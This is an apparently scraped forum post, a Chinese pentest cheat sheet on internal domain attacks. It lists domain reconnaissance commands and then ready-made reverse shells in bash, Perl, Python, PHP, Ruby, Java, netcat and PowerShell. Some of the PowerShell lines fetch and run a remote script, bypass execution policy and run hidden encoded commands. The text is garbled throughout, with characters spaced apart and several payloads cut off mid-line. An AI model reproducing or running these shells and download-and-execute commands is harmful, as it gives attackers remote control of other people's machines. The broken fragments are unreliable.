[26863] 2019-11-28_内网域实战渗透常用命令

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2019-11-28_内网域实战渗透常用命令   M s 0 8 0 6 7   2 0 1 9 - 1 1 - 2 8 1 . n e t   v i e w 2 . s e t   l o g 3 . s r v 4 . 使 n l t e s t 5 . 使 d s q u e r y 6 . 使 n e t d o m w i n w i n s h e l l B a s h   [ l i n u x u b u n t u ] P E R L P y t h o n P H P R u b y J a v a n e t c a t P o w e r s h e l l n e t   v i e w   / d o m a i n s e t   l o g n s l o o k u p   - t y p e = S R V   _ l d a p . _ t c p . c o r p n l t e s t   / d c l i s t : c o r p D s Q u e r y   S e r v e r   - d o m a i n   c o r p n e t d o m   q u e r y   p d c b a s h   - i   > &   / d e v / t c p / 1 0 . 0 . 0 . 1 / 8 0 8 0   0 > & 1 p e r l   - e   ' u s e   S o c k e t ; $ i = " 1 0 . 0 . 0 . 1 " ; $ p = 1 2 3 4 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 0 . 0 . 0 . 1 " , 1 2 3 4 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ p h p   - r   ' $ s o c k = f s o c k o p e n ( " 1 0 . 0 . 0 . 1 " , 1 2 3 4 ) ; e x e c ( " / b i n / s h   - i   < & 3 > & 3   2 > & 3 " ) ; ' r u b y   - r s o c k e t   - e ' f = T C P S o c k e t . o p e n ( " 1 0 . 0 . 0 . 1 " , 1 2 3 4 ) . t o _ i ; e x e c   s p r i n t f ( " / b i n / s h   - i   < & % d > & % d   2 > & % d " , f , f , f ) ' r   =   R u n t i m e . g e t R u n t i m e ( )   p   =   r . e x e c ( [ " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 0 . 0 . 0 . 1 / 2 0 0 2 ; c a t   < & 5   2 = " "   | = " "   w h i l e = " "   r e a d = " "   l i n e ; = " "   d o = " "   $ l i n e = " " > & 5   > & 5 ;   d o n e " ]   a s   S t r i n g [ ] )   p . w a i t F o r ( ) n c   - e   / b i n / s h   x . x . x . x   2 3 3 3 n c - e ( ) , 使 r m / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   x . x . x . x   2 3 3 3   > / t m p / f
1 . 2 . p s 3 .     4 . p s b a s e 6 4 [ ] h t t p s : / / i t e m . j d . c o m / 1 2 7 4 3 2 1 0 . h t m l M s 0 8 0 6 7 W e b 2 0 1 9 1 0 1 2 C T F - P y t h o n J A V A A P T C T F A P T w w w . m s 0 8 0 6 7 . c o m S e t - E x e c u t i o n P o l i c y   R e m o t e S i g n e d   I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b e s i m o r h i n o / p o w e r c a t / m a s t e r / p o w e r c a t . p s 1 ' ) P o w e r S h e l l . e x e   - e p   B y p a s s   - F i l e   d : p o w e r c a t . p s 1 E : > P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   I n v o k e - P o w e r S h e l l T c p   - R e v e r s e   - I P A d d r e s s   1 0 . 1 8 . 1 8 0 . 1 8   - P o r t   4 4 4 4 p o w e r s h e l l   - e p   b y p a s s   - N o L o g o   - N o n I n t e r a c t i v e   - N o P r o f i l e   - W i n d o w S t y l e   H i d d e n   - e n c   b a s e 6 4
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则